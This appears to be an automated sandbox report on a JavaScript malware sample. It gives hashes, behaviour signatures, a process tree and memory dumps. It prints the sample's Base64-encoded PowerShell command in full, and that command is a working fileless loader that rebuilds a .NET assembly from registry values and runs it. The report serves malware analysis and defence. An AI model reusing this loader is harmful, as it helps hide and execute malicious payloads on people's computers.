d0ac1b89cd4522882989b06c18ef2b80b05e07d64de1f562f79e2d631536fed3

General

Target

malware.js
Size

2.5MB
MD5

01ccfabf585a85f66195351871b9b467
SHA1

1b579fc4810d854da3bc59cc0024a368387423e4
SHA256

d0ac1b89cd4522882989b06c18ef2b80b05e07d64de1f562f79e2d631536fed3
SHA512

ce08769df3983ed9dd53189dcc1ad1887112cc65c8633a1fe333176afbe55194473e601df3c0757a0e2066d0c4b372f69e3706e5fa0d805dffec326807fdb05e

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

Processes:

powershell.exe

pid process

316 powershell.exe
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

316 powershell.exe
316 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 316 powershell.exe

pid	process
316	powershell.exe

pid	process
316	powershell.exe
316	powershell.exe

description	pid	process
Token: SeDebugPrivilege	316	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

Processes:

wscript.execmd.exe

description	pid	process	target process
PID 1652 wrote to memory of 1536	1652	wscript.exe	cmd.exe
PID 1652 wrote to memory of 1536	1652	wscript.exe	cmd.exe
PID 1652 wrote to memory of 1536	1652	wscript.exe	cmd.exe
PID 1536 wrote to memory of 316	1536	cmd.exe	powershell.exe
PID 1536 wrote to memory of 316	1536	cmd.exe	powershell.exe
PID 1536 wrote to memory of 316	1536	cmd.exe	powershell.exe
PID 1536 wrote to memory of 316	1536	cmd.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\malware.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1652

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
2⤵
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
3⤵
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:316

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/316-65-0x0000000002200000-0x0000000002E4A000-memory.dmp

Filesize
12.3MB

Download
memory/316-60-0x0000000000000000-mapping.dmp

Download
memory/316-61-0x0000000075561000-0x0000000075563000-memory.dmp

Filesize
8KB

Download
memory/316-62-0x0000000000940000-0x0000000000941000-memory.dmp

Filesize
4KB

Download
memory/316-63-0x0000000004810000-0x0000000004811000-memory.dmp

Filesize
4KB

Download
memory/316-64-0x00000000024E0000-0x00000000024E1000-memory.dmp

Filesize
4KB

Download
memory/316-66-0x0000000002790000-0x0000000002791000-memory.dmp

Filesize
4KB

Download
memory/316-69-0x0000000005740000-0x0000000005741000-memory.dmp

Filesize
4KB

Download
memory/316-74-0x00000000056D0000-0x00000000056D1000-memory.dmp

Filesize
4KB

Download
memory/316-75-0x0000000006120000-0x0000000006121000-memory.dmp

Filesize
4KB

Download
memory/316-82-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

Download
memory/316-83-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1536-59-0x0000000000000000-mapping.dmp

Download

Analysis

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